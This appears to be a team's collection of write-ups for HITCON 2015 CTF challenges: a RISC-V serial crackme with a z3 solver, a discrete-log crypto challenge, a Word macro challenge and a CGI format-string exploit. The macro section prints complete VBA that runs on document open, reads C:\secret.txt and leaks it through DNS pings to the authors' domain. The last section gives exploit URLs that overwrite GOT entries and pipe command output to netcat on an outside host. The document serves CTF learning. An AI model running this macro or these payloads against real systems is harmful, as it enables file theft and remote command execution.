This challenge was solved by and the write up was written by two of my teammates, gym and balidani.

In this challange we were provided with a risc-v (http://riscv.org/) ELF executable. Unfortunately most of our common tools did not support the archticeture, but some googling quickly revealed that the riscv gnu xcompiler toolchain contains objdump for the riscv.

With objdump we could analyse the different regions of the ELF file and dump the asm code from the .text section. Although, the riscv developers provide a qemu fork https://github.com/riscv/riscv-qemu for riscv and a precompiled linux image, we could not run the provided binary in the vm so we stuck with the static analysis of the dumped code.

After, looking through the asm it became obvious that the binary reads a serial fom the input and if the serial is correct prints the flag.

First it verifies that the serial is in the form of

XXXX-XXXX-XXXX-XXXX-XXXX\n
8005cc:       02d00693                li      a3,45

800610:       0097c683                lbu     a3,9(a5)
800614:       fce692e3                bne     a3,a4,8005d8 <.exit>
800618:       00e7c703                lbu     a4,14(a5)
80061c:       fad71ee3                bne     a4,a3,8005d8 <.exit>
800620:       0137c603                lbu     a2,19(a5)
800624:       fae61ae3                bne     a2,a4,8005d8 <.exit>
800628:       0187c683                lbu     a3,24(a5)
80062c:       00a00713                li      a4,10
800630:       fae694e3                bne     a3,a4,8005d8 <.exit>

Than it checks if the serial only contains the ‘-‘ sign, uppercase characters and numbers. This is done by checking if the byte value is between 45 and 90 and than shifting a magic constant with the byte value and checking if the lst bit is zero.

800648:       0006c703                lbu     a4,0(a3)
80064c:       00168693                addi    a3,a3,1
800650:       fd37071b                addiw   a4,a4,-45
800654:       0ff77713                andi    a4,a4,255
800658:       00e855b3                srl     a1,a6,a4
80065c:       0015f593                andi    a1,a1,1
800660:       f6e66ce3                bltu    a2,a4,8005d8 <.exit>
800664:       fc059ee3                bnez    a1,800640 <.next_check>
800668:       f71ff06f                j       8005d8 <.exit>

After this, all of the 4 byte segments of the serial are loaded as 32bit integers and check is made if they satisfy a series of equations. Such equation in the asm:

800694:       03548b3b                mulw    s6,s1,s5
800698:       181aa737                lui     a4,0x181aa
80069c:       c5f7071b                addiw   a4,a4,-929
8006a0:       032987bb                mulw    a5,s3,s2
8006a4:       016787bb                addw    a5,a5,s6
8006a8:       008787bb                addw    a5,a5,s0
8006ac:       f2e796e3                bne     a5,a4,8005d8 <.exit>

These equations are the following:

w0 * w1 + w2 * w3 + w4 == (0x181aa << 12) - 929
w0 * w2 + w1 + w4 == (0x2dead << 12) - 821
w0 + w1 + w2 + w3 + w4 == (0x8e2f6 << 12) + 1920
(w1 + w2 + w4) * (w0 + w3) == (0xb3da8 << 12) - 1185
w1 + w2 + w4 == (0xe3b0d << 12) - 529
w0 * w4 == (0x4978e << 12) - 1980
w1 * w2 == (0x9bcd3 << 12) + 222
w1 * w2 * w2 * w3 * w4 == (0x41c7a << 12) + 928
w2 * w3 == (0x313ac << 12) + 1924

If all these constraints are satisfied theses words are xored with some additional constants and concatenated into a string and the result is printed as the flag.

We used pythons z3 to find the serial the fullfills all these conditions such serial is

KTIY-ML5M-VK7R-FE5Q-L6DD

The xor constants can be read from the ASM code:

80080c:       2c2817b7                lui     a5,0x2c281
800810:       d2f7879b                addiw   a5,a5,-721
800814:       02f12023                sw      a5,32(sp)
800818:       380537b7                lui     a5,0x38053
80081c:       5257879b                addiw   a5,a5,1317
800820:       02f12223                sw      a5,36(sp)
800824:       6b5c37b7                lui     a5,0x6b5c3
800828:       a247879b                addiw   a5,a5,-1500
80082c:       02f12423                sw      a5,40(sp)
800830:       275427b7                lui     a5,0x27542
800834:       7287879b                addiw   a5,a5,1832
800838:       02f12623                sw      a5,44(sp)
80083c:       297557b7                lui     a5,0x29755
800840:       72f7879b                addiw   a5,a5,1839
800844:       02f12823                sw      a5,48(sp)

Note: the lui instruction loads immediate value into a register and performs a 12 bit left shift on it.

After rearranging the bytes we managed to get the correct flag:

hitcon{dYauhy0urak9nbavca1m}

The solver script:

from z3 import *

s = Solver()

serial = []
serial.append(BitVec('serial_0', 32))  # X
serial.append(BitVec('serial_1', 32))  # X
serial.append(BitVec('serial_2', 32))  # X
serial.append(BitVec('serial_3', 32))  # X
serial.append(BitVec('serial_4', 32))  # -
serial.append(BitVec('serial_5', 32))  # X
serial.append(BitVec('serial_6', 32))  # X
serial.append(BitVec('serial_7', 32))  # X
serial.append(BitVec('serial_8', 32))  # X
serial.append(BitVec('serial_9', 32))  # -
serial.append(BitVec('serial_10', 32)) # X
serial.append(BitVec('serial_11', 32)) # X
serial.append(BitVec('serial_12', 32)) # X
serial.append(BitVec('serial_13', 32)) # X
serial.append(BitVec('serial_14', 32)) # -
serial.append(BitVec('serial_15', 32)) # X
serial.append(BitVec('serial_16', 32)) # X
serial.append(BitVec('serial_17', 32)) # X
serial.append(BitVec('serial_18', 32)) # X
serial.append(BitVec('serial_19', 32)) # -
serial.append(BitVec('serial_20', 32)) # X
serial.append(BitVec('serial_21', 32)) # X
serial.append(BitVec('serial_22', 32)) # X
serial.append(BitVec('serial_23', 32)) # X
serial.append(BitVec('serial_24', 32)) # \n

# a6 = BitVec('a6', 64)
# s.add(a6 == 0x0000ff3ff0fff91f)

# Check serial format
# Check for colons
s.add(serial[4] == 0x2d)
s.add(serial[9] == 0x2d)
s.add(serial[14] == 0x2d)
s.add(serial[19] == 0x2d)
s.add(serial[24] == 0x10)

# Check for charset
for i in range(24):
    s.add(serial[i] >= 0x2d)
    s.add(serial[i] <= 0x5a)

    charset = [45, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90]
    expr = (serial[i] == charset[0])
    for char in charset[1:]:
        expr = Or(expr, serial[i] == char)

    s.add(expr == True)

words = []
w0 = (serial[0] + 
    serial[1] * 0x100 + 
    serial[2] * 0x10000 + 
    serial[3] * 0x1000000)
w1 = (serial[5] + 
    serial[6] * 0x100 + 
    serial[7] * 0x10000 + 
    serial[8] * 0x1000000)
w2 = (serial[10] + 
    serial[11] * 0x100 + 
    serial[12] * 0x10000 + 
    serial[13] * 0x1000000)
w3 = (serial[15] + 
    serial[16] * 0x100 + 
    serial[17] * 0x10000 + 
    serial[18] * 0x1000000)
w4 = (serial[20] + 
    serial[21] * 0x100 + 
    serial[22] * 0x10000 + 
    serial[23] * 0x1000000)

# Check products
s.add(w0 * w1 + w2 * w3 + w4 == (0x181aa << 12) - 929)
s.add(w0 * w2 + w1 + w4 == (0x2dead << 12) - 821)
s.add(w0 + w1 + w2 + w3 + w4 == (0x8e2f6 << 12) + 1920)
s.add((w1 + w2 + w4) * (w0 + w3) == (0xb3da8 << 12) - 1185)
s.add(w1 + w2 + w4 == (0xe3b0d << 12) - 529)
s.add(w0 * w4 == (0x4978e << 12) - 1980)
s.add(w1 * w2 == (0x9bcd3 << 12) + 222)
s.add(w1 * w2 * w2 * w3 * w4 == (0x41c7a << 12) + 928)
s.add(w2 * w3 == (0x313ac << 12) + 1924)

if s.check() == sat:
    print "sat :)"
    m = s.model()

    res = ""
    serial_num = []

    for i in range(24):
        res += chr(int(str(m[serial[i]])))
        serial_num.append(int(str(m[serial[i]])))

    print res

    w0 = (serial_num[0] + 
        serial_num[1] * 0x100 + 
        serial_num[2] * 0x10000 + 
        serial_num[3] * 0x1000000)
    w1 = (serial_num[5] + 
        serial_num[6] * 0x100 + 
        serial_num[7] * 0x10000 + 
        serial_num[8] * 0x1000000)
    w2 = (serial_num[10] + 
        serial_num[11] * 0x100 + 
        serial_num[12] * 0x10000 + 
        serial_num[13] * 0x1000000)
    w3 = (serial_num[15] + 
        serial_num[16] * 0x100 + 
        serial_num[17] * 0x10000 + 
        serial_num[18] * 0x1000000)
    w4 = (serial_num[20] + 
        serial_num[21] * 0x100 + 
        serial_num[22] * 0x10000 + 
        serial_num[23] * 0x1000000)

    x0 = (0x2c281 << 12) - 721
    x1 = (0x38053 << 12) + 1317
    x2 = (0x6b5c3 << 12) - 1500
    x3 = (0x27542 << 12) + 1832
    x4 = (0x29755 << 12) + 1839

    s0 = ("%08x" % (w0 ^ x0)).decode('hex')[::-1]
    s1 = ("%08x" % (w1 ^ x1)).decode('hex')[::-1]
    s2 = ("%08x" % (w2 ^ x2)).decode('hex')[::-1]
    s3 = ("%08x" % (w3 ^ x3)).decode('hex')[::-1]
    s4 = ("%08x" % (w4 ^ x4)).decode('hex')[::-1]

    print "hitcon{%s%s%s%s%s}" % (s0, s1, s2, s3, s4)

else:
    print "unsat :("
    

The flag was:

hitcon{dYauhy0urak9nbavca1m}

This challenge was solved by and the write up was written by one of my teammates, NGG.

p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723

If we submitted x such that 0<x<p then the server replied with x^flag % p.

So if we could compute discrete logarithms over GF_p, then we would have been done.

However the best algorithms to compute discrete logarithm in a group requires more than O(sqrt(q)) time where q is the largest prime factor of the order of the base number, which would be too slow if we used a primitive root modulo p, because

p-1 = 2 * 3^336 * q
q = 4759647095086827597559114855685975263112106458932414012998147177848303887783492510354911068366203455488902018600593880874117783509946030773587965941

2 is a primitive root modulo p, so x = 2^q has order 2*3^336 which is long enough for the flag (which is 50 characters) and only has small prime factors, so we sent that number to the server.

We got that

x^flag % p = 76330748508434302948911811389582581821991628856573396875939665491436112259216518385549428479486803046688716209647162112374160557281493613562434598038831198998785672154884963029434409475216631801204644290518567711052531985788274092047888219286448792676928521370001329553409713430110222435245961441435742296538

The following Sage script gave the flag:

p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723
x = 132585580939144436905911763231635617823178051459908250631824609219279037477801312198223424732856254163115776338354306272774475984396132199861419969731110371570526911820025198029198505641172369496514045117550502453451793346650024622608619967071106739007357005769870224699764282050497089845720561850966889205185
y = 76330748508434302948911811389582581821991628856573396875939665491436112259216518385549428479486803046688716209647162112374160557281493613562434598038831198998785672154884963029434409475216631801204644290518567711052531985788274092047888219286448792676928521370001329553409713430110222435245961441435742296538
f = discrete_log(Mod(y, p), Mod(x, p))
import binascii
print binascii.unhexlify('{0:x}'.format(f))

The flag was

hitcon{CBRT_cbrt_Cbrt_CbRt_cBrT_cBRT_RePeAt......}

This challenge was solved by and the write up was written by one of my teammates, nguyen.

cat README

The Piranha Gun can be found in “jungle.chest”.

# umount /chest

umount /chest

# cd /chest

cd /chest

# ls

ls
jungle.chest

# cat jungle.chest

cat jungle.chest

The flag was:

hitcon{Wh1re d!d Y0u F1nd the Jungle Key}

This challenge was solved by and the write up was written by two of my teammates, vasporig and aljasPOD.

If we send in a document, the macro inside it gets executed.

Our way of coummunicating with the outside world was to execute a ping to a subdomain of ours: .dns.aljaspod.com, for which we've captured all the requests with wireshark.

Most time was spent by locating the file containing the flag (C:\secret.txt), after looking for any file containing ““flag”” I’ve tried listing the root of C:.

Since the file could contain characters not allowed by the dns, and could be of any length, (after some tries) I’ve converted the flag into hex, and cut it into 16 character parts, sending the following “request” (ping) sequence:

start.dns.aljaspod.com
<flaghex0-15>.0.dns.ajaspod.com
<flaghex16-31>.1.dns.ajaspod.com
...
<flaghex-end>.k.dns.ajaspod.com
end.k+1.dns.aljaspod.com

Converting the hex back resulted in the flag.

VBA code:

Function ReadFile(fname As String) As String
Dim result As String
    Set objFS = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFS.GetFile(fname)
    Set ts = objFile.OpenAsTextStream(1, -2)
    Do Until ts.AtEndOfStream
         result = result & ts.ReadLine
    Loop
    ts.Close

    ReadFile = result
End Function


Function WinDirList() As String
Dim objFSO As Object
Dim objFolder As Object
Dim objFile As Object
Dim result As String
Dim desktopDir As String
Dim currDir As String

    'Create an instance of the FileSystemObject
    Set objFSO = CreateObject("Scripting.FileSystemObject")


    currDir = CurDir()
    'CreateObject("WScript.Shell").CurrentDirectory
    Set objFolder = objFSO.GetFolder(currDir)
    'loops through each file in the directory and prints their names and path
    For Each objFile In objFolder.Files
        'print file name
        result = result & ";" & objFile.path
         'print file name
        If InStr(1, objFile.path, "flag") > 0 Then

        End If
    Next objFile


    'Get the folder object
    desktopDir = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
    Set objFolder = objFSO.GetFolder(desktopDir)
    'loops through each file in the directory and prints their names and path
    For Each objFile In objFolder.Files
        'print file name
        If InStr(1, objFile.path, "flag") > 0 Then

        End If
        result = result & ";" & objFile.path
    Next objFile


    WinDirList = result

End Function
Function toDomain(tmpStr As String) As String

        tmpStr = Replace(tmpStr, " ", "_")
        tmpStr = Replace(tmpStr, "\", ".")
        tmpStr = Replace(tmpStr, ":", ".")
        tmpStr = Replace(tmpStr, "(", ".")
        tmpStr = Replace(tmpStr, "{", ".")
        tmpStr = Replace(tmpStr, "}", ".")
        tmpStr = Replace(tmpStr, ")", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        toDomain = tmpStr
End Function


Sub PWD()
Dim strTemp As String
Dim tmpStr As String
Dim currDir As String

    currDir = CurDir()
    currDir = TrailingSlash(currDir)
    Debug.Print toDomain(currDir)
    ExecIt (toDomain(currDir))
    strTemp = Dir(currDir)
    Do While strTemp <> vbNullString
       Debug.Print toDomain(strTemp)
       ExecIt (toDomain(strTemp))
       strTemp = Dir()
    Loop

End Sub


Sub ExecIt(domain As String)
Dim strProgramName As String
    'Debug.Print domain
    Call Shell("ping -n 1 -a " & domain, vbNormalFocus)
End Sub


Public Function RecursiveDir(colFiles As Collection, _
                             strFolder As String, _
                             strFileSpec As String, _
                             bIncludeSubfolders As Boolean)

    Dim strTemp As String
    Dim colFolders As New Collection
    Dim vFolderName As Variant
    Dim tmpStr As String

    'Add files in strFolder matching strFileSpec to colFiles
    strFolder = TrailingSlash(strFolder)
    strTemp = Dir(strFolder & strFileSpec)
    Do While strTemp <> vbNullString
        colFiles.Add strFolder & strTemp
        Debug.Print strFolder & strTemp
        ExecIt (toDomain(strFolder & strTemp))
        strTemp = Dir()
    Loop

    If bIncludeSubfolders Then
        'Fill colFolders with list of subdirectories of strFolder
        strTemp = Dir(strFolder, vbDirectory)
        Do While strTemp <> vbNullString
            If (strTemp <> ".") And (strTemp <> "..") Then
                If (GetAttr(strFolder & strTemp) And vbDirectory) <> 0 Then
                    colFolders.Add strTemp
                    ExecIt (toDomain(strFolder & strTemp))
                End If
            End If
            strTemp = Dir
        Loop

        'Call RecursiveDir for each subfolder in colFolders
        For Each vFolderName In colFolders
            'ignore erros
            On Error Resume Next
            'Debug.Print strFolder
            Call RecursiveDir(colFiles, strFolder & vFolderName, strFileSpec, True)
        Next vFolderName
    End If

End Function


Public Function TrailingSlash(strFolder As String) As String
    If Len(strFolder) > 0 Then
        If Right(strFolder, 1) = "\" Then
            TrailingSlash = strFolder
        Else
            TrailingSlash = strFolder & "\"
        End If
    End If
End Function

Public Function GetFileBytes(ByVal path As String) As Byte()
    Dim lngFileNum As Long
    Dim bytRtnVal() As Byte
    lngFileNum = FreeFile
    If LenB(Dir(path)) Then ''// Does file exist?
        Open path For Binary Access Read As lngFileNum
        ReDim bytRtnVal(LOF(lngFileNum) - 1&) As Byte
        Get lngFileNum, , bytRtnVal
        Close lngFileNum
    Else
        Err.Raise 53
    End If
    GetFileBytes = bytRtnVal
    Erase bytRtnVal
End Function

    Private Function ByteArrayToHex(ByRef ByteArray() As Byte) As String
        Dim l As Long, strRet As String

        For l = LBound(ByteArray) To UBound(ByteArray)
            strRet = strRet & Hex$(ByteArray(l))
        Next l
    ByteArrayToHex = strRet
    End Function

Sub Document_Open()
Dim msg As String
Dim l As Integer
Dim k As Integer
Dim Hex As String
Dim bytFile() As Byte
Dim myFile As String
Dim textline As String
Dim colFiles As New Collection
Dim vFile As Variant
    'ignore errors
    'On Error Resume Next
    'Debug.Print "=================================================================="
    ExecIt ("start.dns.aljaspod.com")
    'PWD
    bytFile = GetFileBytes("c:\secret.txt")
    Hex = ByteArrayToHex(bytFile)
    k = Len(Hex) / 16 + 1
    For l = 0 To k
        msg = Left(Hex, 16)
        If Len(Hex) < 16 Then
            Hex = ""
        Else
            Hex = Right(Hex, Len(Hex) - 16)
        End If
        ExecIt (toDomain(msg + "." + CStr(l) + ".dns.aljaspod.com"))
    Next l
    ExecIt ("end." + CStr(k) + ".dns.aljaspod.com")

End Sub

This challenge was solved by and the write up was written by one of my teammates, vek.

First, we got the correct password by changing the GOT of strlen into puts using a format string vuln, so that puts(password) got called. We did that with the following input:

http://54.92.88.102/cgi-bin/nanana?action=%2507hhx%2515%24hhn%25057hhx%2517%24hhn%25064hhx%2521%24hhn&username=0%10%60&password=2%10%60&job=1%10%60

With the password (“hitconctf2015givemeshell”), we could trigger a function whose first parameter we controlled ( do_job(username) ), so all we had to do was to change do_job’s address to system and username to the desired command, e.g

http://54.92.88.102/cgi-bin/nanana?action=%250192hhx%2515%24hhn&username=%2Fread_flag|nc%20X.X.X.X%2025565&password=hitconctf2015givemeshell&job=H%10%6>